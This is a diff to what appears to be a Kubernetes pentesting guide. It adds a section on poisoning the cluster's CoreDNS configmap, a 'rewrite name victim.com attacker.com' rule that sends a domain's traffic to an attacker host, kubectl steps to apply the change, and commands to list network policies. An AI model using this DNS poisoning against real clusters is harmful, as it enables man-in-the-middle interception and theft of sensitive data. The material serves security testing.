a

src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

@@ -525,6 +525,48 @@ data:
 > However, `aws --profile other_account eks update-kubeconfig --name <cluster-name>` **doesn't work from a different acount**. But actually `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` works if you put the ARN of the cluster instead of just the name.\
 > To make `kubectl` work, just make sure to **configure** the **victims kubeconfig** and in the aws exec args add `--profile other_account_role` so kubectl will be using the others account profile to get the token and contact AWS.
 
+### CoreDNS config map
+
+If you have the permissions to modify the **`coredns` configmap** in the `kube-system` namespace, you can modify the address domains will be resolved to in order to be able to perform MitM attacks to **steal sensitive information or inject malicious content**.
+
+The verbs needed are **`update`** and **`patch`** over the **`coredns`** configmap (or all the config maps).
+
+A regular **coredns file** contains something like this:
+
+```yaml
+data:
+  Corefile: |
+    .:53 {
+        log
+        errors
+        health {
+           lameduck 5s
+        }
+        ready
+        kubernetes cluster.local in-addr.arpa ip6.arpa {
+           pods insecure
+           fallthrough in-addr.arpa ip6.arpa
+           ttl 30
+        }
+        prometheus :9153
+        hosts {
+           192.168.49.1 host.minikube.internal
+           fallthrough
+        }
+        forward . /etc/resolv.conf {
+           max_concurrent 1000
+        }
+        cache 30
+        loop
+        reload
+        loadbalance
+    }
+```
+
+An attacker could download it running `kubectl get configmap coredns -n kube-system -o yaml`, modify it adding something like `rewrite name victim.com attacker.com` so whenever `victim.com` is accessed actually `attacker.com` is the domain that is going to be accessed. And then apply it running `kubectl apply -f poison_dns.yaml`.
+
+Another option is to just edit the file running `kubectl edit configmap coredns -n kube-system` and making changes.
+
 ### Escalating in GKE
 
 There are **2 ways to assign K8s permissions to GCP principals**. In any case the principal also needs the permission **`container.clusters.get`** to be able to gather credentials to access the cluster, or you will need to **generate your own kubectl config file** (follow the next link).
@@ -763,6 +805,7 @@ https://github.com/aquasecurity/kube-bench
 - [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
 - [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
 - [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
+- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
 

src/pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md

@@ -95,7 +95,7 @@ spec:
 
 If you **don't specify** the **nodePort** in the yaml (it's the port that will be opened) a port in the **range 30000–32767 will be used**.
 
-### LoadBalancer <a href="#id-0d96" id="id-0d96"></a>
+### LoadBalancer
 
 Exposes the Service externally **using a cloud provider's load balancer**. On GKE, this will spin up a [Network Load Balancer](https://cloud.google.com/compute/docs/load-balancing/network/) that will give you a single IP address that will forward all traffic to your service. In AWS it will launch a Load Balancer.
 
@@ -107,7 +107,7 @@ List all LoadBalancers:
 kubectl get services --all-namespaces -o=custom-columns='NAMESPACE:.metadata.namespace,NAME:.metadata.name,TYPE:.spec.type,CLUSTER-IP:.spec.clusterIP,EXTERNAL-IP:.status.loadBalancer.ingress[*],PORT(S):.spec.ports[*].port,NODEPORT(S):.spec.ports[*].nodePort,TARGETPORT(S):.spec.ports[*].targetPort,SELECTOR:.spec.selector' | grep LoadBalancer
 ```
 
-### External IPs <a href="#external-ips" id="external-ips"></a>
+### External IPs
 
 > [!TIP]
 > External IPs are exposed by services of type Load Balancers and they are generally used when an external Cloud Provider Load Balancer is being used.

src/pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md

@@ -247,7 +247,7 @@ As it was already mentioned, if you **compromise a pod in the same node of the D
 
 You have a really nice **tool** and **tutorial** to test this in [**https://github.com/danielsagi/kube-dnsspoof/**](https://github.com/danielsagi/kube-dnsspoof/)
 
-In our scenario, **download** the **tool** in the attacker pod and create a \*\*file named `hosts` \*\* with the **domains** you want to **spoof** like:
+In our scenario, **download** the **tool** in the attacker pod and create a **file named `hosts`** with the **domains** you want to **spoof** like:
 
 ```
 cat hosts
@@ -277,6 +277,42 @@ google.com.		1	IN	A	1.1.1.1
 > If you try to create your own DNS spoofing script, if you **just modify the the DNS response** that is **not** going to **work**, because the **response** is going to have a **src IP** the IP address of the **malicious** **pod** and **won't** be **accepted**.\
 > You need to generate a **new DNS packet** with the **src IP** of the **DNS** where the victim send the DNS request (which is something like 172.16.0.2, not 10.96.0.10, thats the K8s DNS service IP and not the DNS server ip, more about this in the introduction).
 
+## DNS Spoofing via coreDNS configmap
+
+A user with write permissions over the configmap `coredns` in the kube-system namespace can modify the DNS responses of the cluster.
+
+Check more information about this attack in:
+
+{{#ref}}
+abusing-roles-clusterroles-in-kubernetes/README.md
+{{/ref}}
+
+## Enumerating kubernetes network policies
+
+Get configured **networkpolicies**:
+
+```bash
+kubectl get networkpolicies --all-namespaces
+```
+
+Get **Callico** network policies:
+
+```bash
+kubectl get globalnetworkpolicy --all-namespaces
+```
+
+Get **Cillium** network policies:
+
+```bash
+kubectl get ciliumnetworkpolicy --all-namespaces
+```
+
+Get other policy-related CRDs installed by your network plugin or security solution:
+
+```bash
+kubectl get crd | grep -i policy
+```
+
 ## Capturing Traffic
 
 The tool [**Mizu**](https://github.com/up9inc/mizu) is a simple-yet-powerful API **traffic viewer for Kubernetes** enabling you to **view all API communication** between microservices to help your debug and troubleshoot regressions.\